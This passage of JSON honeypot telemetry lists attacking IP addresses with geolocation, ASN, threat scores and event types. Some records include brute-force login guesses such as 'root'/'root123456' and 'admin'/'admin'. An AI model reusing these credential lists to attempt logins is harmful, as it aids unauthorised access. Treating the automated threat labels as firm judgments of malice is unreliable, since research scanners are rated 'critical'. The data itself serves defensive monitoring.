      "city": "Sialkot",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 27.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T22:31:33.956000+00:00",
        "last_seen_30d": "2026-04-26T22:38:07.387000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "119.18.62.193": {
      "attack_count": 40,
      "first_seen": "2026-04-30T15:58:06.039Z",
      "last_seen": "2026-04-30T16:01:29.128Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 394695,
      "as_org": "PDR",
      "threat_score": 30.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 61,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T15:58:06.039000+00:00",
        "last_seen_30d": "2026-04-30T16:02:31.417000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 21
      }
    },
    "2.57.122.195": {
      "attack_count": 36,
      "first_seen": "2026-04-01T19:02:57.204Z",
      "last_seen": "2026-04-22T16:02:23.342Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 35.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.0,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 63,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T19:02:57.204000+00:00",
        "last_seen_30d": "2026-04-22T16:03:29.067000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 27
      }
    },
    "136.158.51.209": {
      "attack_count": 34,
      "first_seen": "2026-04-27T09:12:32.793Z",
      "last_seen": "2026-04-27T09:28:24.096Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Dasmari\u00f1as",
      "asn": 17639,
      "as_org": "Converge ICT Solutions Inc.",
      "threat_score": 27.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 54,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T09:12:32.793000+00:00",
        "last_seen_30d": "2026-04-27T09:30:38.837000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 34,
        "Suricata": 20
      }
    },
    "116.110.17.164": {
      "attack_count": 27,
      "first_seen": "2026-04-14T22:45:50.202Z",
      "last_seen": "2026-04-14T23:11:35.064Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "newadmin"
      ],
      "passwords_attempted": [
        "12345",
        "@",
        "andrew",
        "explorer",
        "newadmin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.2,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T22:34:33.165000+00:00",
        "last_seen_30d": "2026-04-14T23:12:42.315000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 27,
        "Suricata": 15
      }
    },
    "5.144.129.17": {
      "attack_count": 26,
      "first_seen": "2026-04-09T11:25:37.220Z",
      "last_seen": "2026-04-12T14:16:45.953Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "debian",
        "ubuntu",
        "centos"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": "Tehran",
      "asn": 59441,
      "as_org": "NOAVARAN SHABAKEH SABZ MEHREGAN (Ltd.)",
      "threat_score": 12.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.0,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T11:25:37.220000+00:00",
        "last_seen_30d": "2026-04-12T14:27:17.168000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 26,
        "Suricata": 14
      }
    },
    "162.214.149.20": {
      "attack_count": 24,
      "first_seen": "2026-04-30T15:26:10.856Z",
      "last_seen": "2026-04-30T15:27:59.107Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 28.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T15:26:10.856000+00:00",
        "last_seen_30d": "2026-04-30T15:29:04.807000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 13
      }
    },
    "218.27.202.178": {
      "attack_count": 21,
      "first_seen": "2026-04-28T04:56:05.459Z",
      "last_seen": "2026-04-28T04:58:24.501Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "h3c.com!",
        "root123456"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 26.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T04:56:05.459000+00:00",
        "last_seen_30d": "2026-04-28T05:08:32.964000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 21,
        "Suricata": 11
      }
    },
    "143.208.152.26": {
      "attack_count": 18,
      "first_seen": "2026-04-08T17:22:14.030Z",
      "last_seen": "2026-04-08T17:52:57.376Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": null,
      "asn": 265130,
      "as_org": "FIBRA EMPRESAS LTDA",
      "threat_score": 44.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 9.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 4489,
        "days_active_30d": 11,
        "ports_targeted_30d": 372,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-08T17:22:14.030000+00:00",
        "last_seen_30d": "2026-04-18T20:55:48.570000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2268,
        "Honeytrap": 2203,
        "Cowrie": 18
      }
    },
    "59.103.106.219": {
      "attack_count": 16,
      "first_seen": "2026-04-17T17:05:19.513Z",
      "last_seen": "2026-04-17T17:07:02.959Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 15.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T17:05:19.513000+00:00",
        "last_seen_30d": "2026-04-17T17:08:05.095000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 9
      }
    },
    "203.195.82.6": {
      "attack_count": 15,
      "first_seen": "2026-04-09T15:44:24.047Z",
      "last_seen": "2026-04-10T06:46:24.048Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 58519,
      "as_org": "Cloud Computing Corporation",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T15:44:24.047000+00:00",
        "last_seen_30d": "2026-04-10T06:57:49.405000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 13
      }
    },
    "66.132.172.97": {
      "attack_count": 12,
      "first_seen": "2026-04-09T07:39:35.328Z",
      "last_seen": "2026-04-22T19:28:42.590Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 92.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 169,
        "days_active_30d": 30,
        "ports_targeted_30d": 39,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T03:42:53.692000+00:00",
        "last_seen_30d": "2026-04-30T20:58:02.635000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 104,
        "Honeytrap": 43,
        "Cowrie": 12,
        "Dionaea": 6,
        "ElasticPot": 4
      }
    },
    "92.118.39.236": {
      "attack_count": 8,
      "first_seen": "2026-04-23T01:03:30.987Z",
      "last_seen": "2026-04-25T16:02:45.537Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 21.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T01:03:30.987000+00:00",
        "last_seen_30d": "2026-04-25T16:03:53.673000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "157.245.215.132": {
      "attack_count": 6,
      "first_seen": "2026-04-07T08:51:22.552Z",
      "last_seen": "2026-04-07T08:51:23.054Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 6.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T08:51:22.552000+00:00",
        "last_seen_30d": "2026-04-07T08:52:30.699000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Suricata": 13,
        "Cowrie": 6
      }
    },
    "183.212.244.131": {
      "attack_count": 6,
      "first_seen": "2026-04-23T20:52:23.692Z",
      "last_seen": "2026-04-23T20:53:28.497Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Wuxi",
      "asn": 56046,
      "as_org": "China Mobile communications corporation",
      "threat_score": 17.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T20:52:23.692000+00:00",
        "last_seen_30d": "2026-04-23T20:54:33.308000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "207.154.255.102": {
      "attack_count": 6,
      "first_seen": "2026-04-16T16:26:30.085Z",
      "last_seen": "2026-04-16T16:26:30.667Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 13.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T16:22:08.858000+00:00",
        "last_seen_30d": "2026-04-16T16:27:39.296000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 6
      }
    },
    "66.132.186.176": {
      "attack_count": 6,
      "first_seen": "2026-04-05T01:31:03.870Z",
      "last_seen": "2026-04-05T01:31:38.495Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 91.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 30,
        "ports_targeted_30d": 42,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T11:56:48+00:00",
        "last_seen_30d": "2026-04-30T02:29:22.218000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 87,
        "Honeytrap": 46,
        "Cowrie": 6,
        "ElasticPot": 4,
        "Honeyaml": 4
      }
    },
    "66.132.186.177": {
      "attack_count": 6,
      "first_seen": "2026-04-16T06:35:32.412Z",
      "last_seen": "2026-04-16T06:36:13.143Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 92.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 182,
        "days_active_30d": 30,
        "ports_targeted_30d": 46,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-01T16:01:16+00:00",
        "last_seen_30d": "2026-04-30T21:23:31.724000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 117,
        "Honeytrap": 42,
        "Tanner": 8,
        "Cowrie": 6,
        "ElasticPot": 4,
        "Dionaea": 3,
        "H0neytr4p": 2
      }
    },
    "79.11.240.119": {
      "attack_count": 6,
      "first_seen": "2026-04-18T22:38:34.002Z",
      "last_seen": "2026-04-18T22:39:08.473Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Cardito",
      "asn": 3269,
      "as_org": "TIM",
      "threat_score": 14.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-18T22:38:34.002000+00:00",
        "last_seen_30d": "2026-04-18T22:40:16.109000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6
      }
    },
    "103.171.69.93": {
      "attack_count": 5,
      "first_seen": "2026-04-28T23:27:05.874Z",
      "last_seen": "2026-04-28T23:27:07.917Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "mcserver"
      ],
      "passwords_attempted": [
        "mcserver"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 142627,
      "as_org": "Multilink International",
      "threat_score": 20.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T23:27:05.874000+00:00",
        "last_seen_30d": "2026-04-28T23:28:13.772000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "160.30.172.107": {
      "attack_count": 5,
      "first_seen": "2026-04-04T20:20:40.282Z",
      "last_seen": "2026-04-04T20:20:42.115Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 140825,
      "as_org": "Thien Quang Digital technology joint stock company",
      "threat_score": 3.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T20:01:39.361000+00:00",
        "last_seen_30d": "2026-04-04T20:21:47.680000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 4
      }
    },
    "94.156.152.8": {
      "attack_count": 5,
      "first_seen": "2026-04-29T20:19:31.410Z",
      "last_seen": "2026-04-29T20:20:01.453Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 214209,
      "as_org": "Internet Magnate (Pty) Ltd",
      "threat_score": 21.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T20:19:31.410000+00:00",
        "last_seen_30d": "2026-04-29T20:21:09.823000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "103.212.142.55": {
      "attack_count": 4,
      "first_seen": "2026-04-29T16:33:21.511Z",
      "last_seen": "2026-04-29T16:37:22.264Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mumbai",
      "asn": 136334,
      "as_org": "Vortex Netsol Private Limited",
      "threat_score": 20.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T16:33:21.511000+00:00",
        "last_seen_30d": "2026-04-29T16:48:02.447000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "115.88.48.171": {
      "attack_count": 4,
      "first_seen": "2026-04-21T21:21:47.194Z",
      "last_seen": "2026-04-28T20:00:16.013Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gangdong-gu",
      "asn": 3786,
      "as_org": "LG DACOM Corporation",
      "threat_score": 25.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T21:21:47.194000+00:00",
        "last_seen_30d": "2026-04-28T20:01:22.735000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "14.225.1.165": {
      "attack_count": 4,
      "first_seen": "2026-04-08T22:11:06.685Z",
      "last_seen": "2026-04-08T22:11:43.104Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 135905,
      "as_org": "VIETNAM POSTS AND TELECOMMUNICATIONS GROUP",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T22:11:06.685000+00:00",
        "last_seen_30d": "2026-04-08T22:12:52.621000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "198.235.24.142": {
      "attack_count": 4,
      "first_seen": "2026-04-30T16:51:25.014Z",
      "last_seen": "2026-04-30T16:51:28.377Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 74.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.4,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 44,
        "days_active_30d": 28,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-03T23:33:05+00:00",
        "last_seen_30d": "2026-04-30T16:52:33.393000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 32,
        "Honeytrap": 8,
        "Cowrie": 4
      }
    },
    "198.235.24.82": {
      "attack_count": 4,
      "first_seen": "2026-04-22T04:58:32.006Z",
      "last_seen": "2026-04-22T04:58:35.130Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 78.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.4,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 110,
        "days_active_30d": 28,
        "ports_targeted_30d": 28,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T00:37:30.323000+00:00",
        "last_seen_30d": "2026-04-28T06:13:21.788000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 71,
        "Honeytrap": 30,
        "Mailoney": 5,
        "Cowrie": 4
      }
    },
    "2.57.121.50": {
      "attack_count": 4,
      "first_seen": "2026-04-14T19:04:20.292Z",
      "last_seen": "2026-04-14T19:04:22.252Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 9.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
